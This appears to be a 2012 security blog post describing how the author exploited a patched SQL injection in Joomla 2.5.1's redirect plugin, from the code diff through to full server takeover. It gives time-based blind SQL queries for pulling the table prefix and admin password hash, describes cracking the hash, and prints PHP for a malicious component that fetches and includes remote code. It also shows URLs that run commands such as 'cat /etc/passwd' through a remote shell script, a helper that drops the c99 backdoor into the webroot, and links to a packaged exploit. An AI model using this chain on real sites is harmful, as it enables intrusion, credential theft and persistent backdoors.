<p>So back in the dark ages of my programming life I, like many people who started coding, worked in web development. And during these times I had to write modules/hack things together for various frameworks, including Joomla. At that stage i was also signed up to the Joomla security security list and a few weeks ago i saw a security update come through that affected most joomla installs and was a core issue. Most of the &#8216;omgjoomlasux&#8217; commercials/vulns/notifcations actually are problems with 3rd party modules rather than with joomla itself, so this was pretty interesting. Secondly the bug was listed as a SQL injection bug and critical, this gave me the idea that with a bit of luck and some mysql commands I too could hack the planet. I fired up my green_text_on_black_background console and gave it a whirl.</p>
<p>First i pulled Joomla installs 2.5.1 and 2.5.2 from the download page (the issue had just been patched), next I had to go through these to figure out what changed. Doing a quick diff in linux, or for windows people use the cool winmerge it was quick and painless to find the issue:</p>
<div id="attachment_429" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/winmerge.png"><img class="size-medium wp-image-429" title="Winmerge" alt="Winmerge with Diff of 2.51 and 2.52" src="http://andrewmohawk.com/wp-content/uploads/2012/04/winmerge-300x116.png" width="300" height="116" /></a><p class="wp-caption-text">Winmerge with Diff of 2.51 and 2.52</p></div>
<p><span id="more-422"></span></p>
<p><strong>./plugins/system/redirect/redirect.php:</strong></p>
<p>Joomla251:<br />
$db-&gt;setQuery(&#8216;select id from &#8216;.$db-&gt;quoteName(&#8216;#__redirect_links&#8217;).&#8221; where old_url=&#8217;&#8221;.$current.&#8221;&#8216;&#8221;);</p>
<p>Joomla252:<br />
$db-&gt;setQuery(&#8216;select id from &#8216;.$db-&gt;quoteName(&#8216;#__redirect_links&#8217;).&#8221; where old_url=&#8217;&#8221; .<strong> $db-&gt;quote($current)</strong> . &#8220;&#8216;&#8221;);</p>
<p>So right off the mark, things are looking great, got a SQL command that is not escaped via the $current variable. A quick search to find this in that function gives us:</p>
<p><strong>$current = $uri-&gt;toString(array(&#8216;scheme&#8217;, &#8216;host&#8217;, &#8216;port&#8217;, &#8216;path&#8217;, &#8216;query&#8217;, &#8216;fragment&#8217;));</strong></p>
<p>Excellent, something we can regularly manipulate with just a browser (since its adding the URI from the browser), so now what could I do with this information?</p>
<p>First off i knew what the SQL query looked like, so it was a lot easier to manipulate in a SQL interface or even something like PhpMyAdmin. So modifying the query quickly gave me some failboats:</p>
<p>1. I couldnt do any insert / modifcation of data from a secondary query like:<br />
- UNION SELECT (insert x into y)<br />
This was due to the fact that insert x into y simple didn&#8217;t return anything so it could not be joined to the previous SQL query, the Union requires a returned value to join to the current SQL statement. I tried doing things like SELECTing an INSERT, using the IF statement and a few others without luck.</p>
<p>2. MySQL doesn&#8217;t have anything like xp_cmdshell so I could not off-the-bat execute raw code (sadface).</p>
<p>However, MySQL did have a few functions that were super useful:<br />
* INTO DUMPFILE &#8211; this lets me write files out to the system (winning.) Unfortunately I have NO IDEA where the webroot is, and in the testing I did MySQL almost never had write access to the webroot when i knew where it was<br />
* SELECT LOAD_FILE &#8211; lets me select local files into things &#8211; Great apart from the fact that I cannot write into the database and I dont know where I can put files</p>
<p>At this stage it was super-facepalm-time. But then with a little help from Roelof and the internets i started looking at timing attacks.</p>
<p><!--more--></p>
<h2>How the attack works:</h2>
<p>* You can add an IF statement into the UNION to evaluate something<br />
* If its true, sleep for a period of time (by default I used 2s more than the average normal request time)<br />
* If false do nothing (so the page returns in a normal time)</p>
<p>So right now I have the ability to essentially ask Joomla a true or false question and get an answer for it. Next was figuring out what I could do with this to get a webshell on a box.</p>
<p>I looked at some of the joomla-y things and found that the easiest way for me to get a shell on the box would be with a simple RFI (loads of components for Joomla already have this, but I figured id rather make a custom component). The only problem is that I didnt have access to the backend because I didnt know the password :/</p>
<p>So next was figuring out how to get the password. Most joomla installs come with a nasty setting that puts a prefix before every table in the database, so while my install has users in c5swv_users, yours might have it in s5fddg_users.. irritating.</p>
<p>So the steps at this stage:<br />
1. Get the prefix for the database<br />
2. Get the admin password out<br />
3. Crack the admin password<br />
4. Login, install component<br />
5. Call the RFI component with your shell.</p>
<p>First things first, figuring out the best way to get data out. Essentially there were two options:</p>
<p>1. Take each character we need to get out to binary, and time out a 8 bits for a single character (8 requests), eg. 00110101 would be in response times,</p>
<p>2. Use a binary tree to try and identify the character, essentially asking something like this:<br />
- Is it between a and z?<br />
- Is it between a and m?<br />
- Is it between t and z?<br />
- Is it between w and z?<br />
- Is it between t and u? (i know it must be either t,u or v at this stage)<br />
- Its V!</p>
<p>I opted for the second option mostly because Roelof suggested it first and also cause it seems sexy :)</p>
<p>So writing the query for those looks something like:<br />
<strong>SELECT if((SELECT ORD(singlecharacter) FROM x) between $start and $end,sleep(2),null)</strong></p>
<h2>Fetching the prefix:</h2>
<p>The prefix can be fetched by doing the query:<br />
<strong>SELECT SUBSTRING_INDEX(table_name,&#8217;_',1) FROM information_schema.tables WHERE table_schema=database() limit 1</strong></p>
<p>Then I could change it up to do the positioning with something like:<br />
<strong>SELECT ORD(SUBSTRING((SUBSTRING_INDEX(table_name,&#8217;_',1)),$pos,1)) FROM information_schema.tables WHERE table_schema=database() limit 1</strong></p>
<p>However i first had to get the number of positions, so that was done with a guessing game something like:<br />
Is it 3?<br />
Is it 4?<br />
Is it 5?<br />
Its 5!</p>
<p>And a SQL statement something like:<br />
<strong>SELECT if((SELECT LENGTH(SUBSTRING_INDEX(table_name,&#8217;_',1)) FROM information_schema.tables WHERE table_schema=database() limit 1) = ,sleep(2),null)</strong></p>
<p>Below you can see it doing this in the script:</p>
<div id="attachment_426" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/exploit_running.png"><img class="size-medium wp-image-426" title="Script Running to time out prefix" alt="Script Running to time out prefix" src="http://andrewmohawk.com/wp-content/uploads/2012/04/exploit_running-300x183.png" width="300" height="183" /></a><p class="wp-caption-text">Script Running to time out prefix</p></div>
<h2>Admin Hash</h2>
<p>Great, so I have prefix and prefix length, now to get the admin hash. Essentially done in the same way as above but with the query SELECT password from #prefix#_users WHERE username=admin</p>
<p>Once I had that out (it takes a while as its a 32 bit hash and a 32 bit salt) I could get on to cracking it.</p>
<p>Joomla passwords by default are MD5(salt + password), and the salt is stored in the password field (thank goodness! If it was in a file somewhere id have really been stuck here).</p>
<p>So brute forcing with the salt eventually gave me the password :) &#8212; In the script I only do it up to 6 characters, after that it simply takes too much time to do it in php..</p>
<p>NOTE: I&#8217;ve added a -c=1 param for people who wish to do it outside of the script &#8211; which seems a lot better since mine is horribly inneficient</p>
<h2>Login and Component</h2>
<p>So i simply took apart a helloworld component and added the functionality i needed, namely:</p>
<p><strong>include($_GET["url"]);</strong></p>
<p>However this seldomly seems to work as most hosting providers/defaults for PHP have allow_url_include set to 0. Strangely however it seems that I can include local files that i fetch with file_get_contents, so it was simply a case of doing:</p>
<p><strong>$phpShellCode = file_get_contents($_GET["url"]);</strong><br />
<strong> $filename = &#8220;/tmp/myshell&#8221; . rand(0,9999) . &#8220;.txt&#8221;;</strong><br />
<strong> $fh = fopen($filename, &#8216;w&#8217;);</strong><br />
<strong> fwrite($fh, $phpShellCode);</strong><br />
<strong> fclose($fh);</strong><br />
<strong> include($filename);</strong></p>
<p>Additionally the &#8216;helloworld&#8217; component made a menu item in the backend which we obviously wouldnt want, so I stripped that out (really just removed the files relating to the admin section). By default joomla has loads of components installed and the wizard to uninstall them doesn&#8217;t make it very easy to spot the malicious one.</p>
<div id="attachment_427" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/extensionmanager.png"><img class="size-medium wp-image-427" title="Joomla Extension Manager" alt="Joomla Extension Manager" src="http://andrewmohawk.com/wp-content/uploads/2012/04/extensionmanager-300x139.png" width="300" height="139" /></a><p class="wp-caption-text">Joomla Extension Manager</p></div>
<p>So now my component works it was just a matter of hacking together some curl scripts to login, install the component and then allow the user to browse to that page. Joomla has some protection against CSRF so the pages generally had to be regex&#8217;d to get all the field data to be posted.</p>
<p>On a side note, one strange thing with Joomla is that after posting data (such as login/upload) the Joomla site would return a 200 and the page would have to be reloaded to get confirmation that it was successful.</p>
<h2>PHP Shell:</h2>
<p>The PHP shell was a little tricky as i was stuck in a specific part of the page and the way the code got there meant I couldnt _really_ post back to the page, so this excluded all c99-type shells. However putting a little script together meant you could easily get something to be dropped into ../../c99.php and you were A-for-away. I have just included a simple exec script to output the return values of a cmd, so that you can do something like:</p>
<p><strong>index.php?option=com_rfi&amp;url=http://www.andrewmohawk.com/execShellSimple.txt&amp;c=cat /etc/passwd</strong><br />
<strong>index.php?option=com_rfi&amp;url=http://www.andrewmohawk.com/execShellSimple.txt&amp;c=whoami</strong><br />
<strong>index.php?option=com_rfi&amp;url=http://www.andrewmohawk.com/execShellSimple.txt&amp;c=pwd</strong></p>
<p>And get the responses right in the page:</p>
<div id="attachment_428" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/webshell.png"><img class="size-medium wp-image-428" title="RFI response in page" alt="RFI response in page" src="http://andrewmohawk.com/wp-content/uploads/2012/04/webshell-300x101.png" width="300" height="101" /></a><p class="wp-caption-text">RFI response in page</p></div>
<p>&nbsp;</p>
<h2>Full Shell:</h2>
<p>So i added another php include file to help pull files, something like this:<br />
<!--?php file_put_contents($_GET["l"],file_get_contents($_GET["r"])); ?--></p>
<p>And used this to get a c99 going on my box, essentially just doing something like:</p>
<p>http://www.andrewmohawk.com/phpshells/pullfileLocal.txt&#038;l=/var/www/html/andrewmohawk.com/joomla251/logs/test.php&#038;r=https://web-malware-collection.googlecode.com/svn-history/r3/trunk/Backdoors/PHP/c99.txt</p>
<p>And then browsing to http://andrewmohawk.com/joomla251/logs/test.php</p>
<p>The reason I placed the file in logs is that the Joomla setup usually forces the user to have write access there so it can write out the log files, in fact marking that directory as non writable forces the admin backend to throw an error so you cannot login.</p>
<div id="attachment_425" class="wp-caption aligncenter" style="width: 310px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/04/c99.png"><img class="size-medium wp-image-425" title="c99 Shell" alt="C99 Shell running on box" src="http://andrewmohawk.com/wp-content/uploads/2012/04/c99-300x86.png" width="300" height="86" /></a><p class="wp-caption-text">C99 Shell running on box</p></div>
<h2>Scripts / Code:</h2>
<p>So i packaged this all (up to installing the RFI component) into an automated PHP script located here -&gt; <a href="http://andrewmohawk.com/joomla/exploit251.phps">exploit251.php</a><br />
And i put the two php helper shell thingies in this directory here -&gt;&gt; <a href="http://www.andrewmohawk.com/phpshells/">www.andrewmohawk.com/phpshells/</a><br />
Also you will need the RFI component here -&gt;&gt; <a title="http://andrewmohawk.com/joomla/com_rfi.zip" href="http://andrewmohawk.com/joomla/com_rfi.zip">http://andrewmohawk.com/joomla/com_rfi.zip</a></p>
<p>&nbsp;</p>
<h2>Output/Example:</h2>
<p>The example of it running is located here: <a href="http://andrewmohawk.com/exploitRun.log">exploitRun.log</a></p>
<h2>Conclusion:</h2>
<p>The vulnerability is pretty serious as firstly it can lead to the machine being compromised while now just as the apache user but later with priv. escalation or other attacks as root. Additionally because it is simply a php script, and we are executing php it could be wormed so that each compromised machine looks for another machine to compromise and spreads that way.</p>
<p>Obviously upgrading to the latest Joomla is recommended to avoid this ^_^</p>
<p>However its also important to ask, if something as trivial as escaping/sanitising a user variable is missed in some of the core functionality, how many more have been missed and how much can we really trust the code.</p>
<p>&nbsp;</p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/04/06/joomla-2-51-blind-sql-attack/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
